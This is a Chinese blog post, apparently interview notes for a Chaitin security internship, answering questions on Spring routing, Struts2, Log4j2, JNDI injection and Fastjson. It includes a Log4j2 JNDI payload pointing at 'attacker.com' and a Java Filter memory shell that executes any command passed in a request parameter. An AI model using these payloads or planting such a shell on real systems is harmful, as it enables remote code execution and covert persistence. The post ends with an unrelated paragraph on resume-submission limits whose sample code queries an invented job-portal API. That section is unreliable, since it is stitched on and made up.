长亭实习生一面。。。

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1 Spring Boot 路由表示方式

答案
通过注解直接定义,如:

@GetMapping("/user/{id}")  
public User getUser(@PathVariable String id) { ... }  

2 其他路由表示方式

答案

  • 实现 WebMvcConfigurer 接口,重写 addViewControllers()

  • 旧版 Spring 使用 @RequestMappingmethod 属性(如 method = RequestMethod.GET)。

3 路由注解统称

答案
统称为 请求映射注解(Request Mapping Annotations)。

4 Mybatis 映射文件存放位置

答案
默认在 src/main/resources/mapper/ 目录下,或通过 @MapperScan 指定包路径。

5 Struts2 相关经验

答案
Struts2 漏洞多由 OGNL 表达式注入引起(如 S2-045)。需熟悉漏洞原理及 Payload 构造(如 %{#_memberAccess=...})。

6. Python 爬虫跳过 SSL 证书验证

答案
使用 requests 库时设置 verify=False,并禁用警告:

import requests  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
response = requests.get("https://example.com", verify=False)  

7. Log4j2 漏洞利用函数

答案
关键函数为 lookup(),通过 jndi: 协议触发 JNDI 注入。攻击 Payload:

${jndi:ldap://attacker.com/Exploit}  

8. JNDI 注入配合的协议

答案

  • RMI:动态加载远程类。

  • LDAP:指向恶意服务器返回 Exploit 代码。

  • DNS:用于信息泄露或探测漏洞存在性。

  • IIOP(CORBA):较少见,但可结合利用。

9. 通过 Fastjson 注入内存马

答案
步骤

  1. 利用 Fastjson 反序列化漏洞:构造恶意 JSON,触发 JNDI 注入。

  2. 加载内存马代码:远程类实现 ServletContainerInitializer,在 onStartup() 中注册 Filter。

  3. Filter 内存马示例
    public class EvilFilter implements Filter {  
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {  
            // 执行任意命令  
            Runtime.getRuntime().exec(req.getParameter("cmd"));  
        }  
    }  
    
  4. 持久化:通过反射将 Filter 添加到 FilterChain,无需写入文件系统。

长亭科技是一家专注于网络安全领域的公司,对于实习生职位的投递次数限制通常与公司的招聘政策有关。以下是关于此类问题的一些常见解答: 一般情况下,企业在接收简历时会设定一定的规则以避免重复投递。例如,在特定的时间段内(比如一个月或者三个月),求职者只能针对同一岗位提交一次申请。 如果想再次尝试申请相同类型的实习机会,则需要等待该时间间隔过后再进行新的投递动作。不过具体到长亭科技而言,其官方并未公开明确说明实习生职位是否有严格的投递次数上限规定。因此建议直接查看目标企业的官网招聘信息页面获取最新动态;同时也可以联系人力资源部门询问更准确的信息。 此外还可以采取以下措施提高成功率: 优化个人简历内容突出自身优势特点 适时跟进已发送出去的应聘请求状态 关注企业社交媒体账号及时掌握新发布的职业发展资讯 ```python # 示例代码用于展示如何通过API查询某家公司是否允许多次投递简历的功能实现逻辑伪代码表示如下: import requests def check_resume_submission_limit(company_name): url = f"https://api.jobportal.com/{company_name}/submission_policy" response = requests.get(url) if response.status_code == 200: data = response.json() return data['allow_multiple_submissions'],data['waiting_period'] else : return None,None allowed,period=check_resume_submission_limit("ChangtingTech") if allowed is not None and period is not None: print(f"The company allows {'multiple' if allowed else 'single'} submissions with a waiting period of {period} days.") else: print("Could not retrieve submission policy for the specified company.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值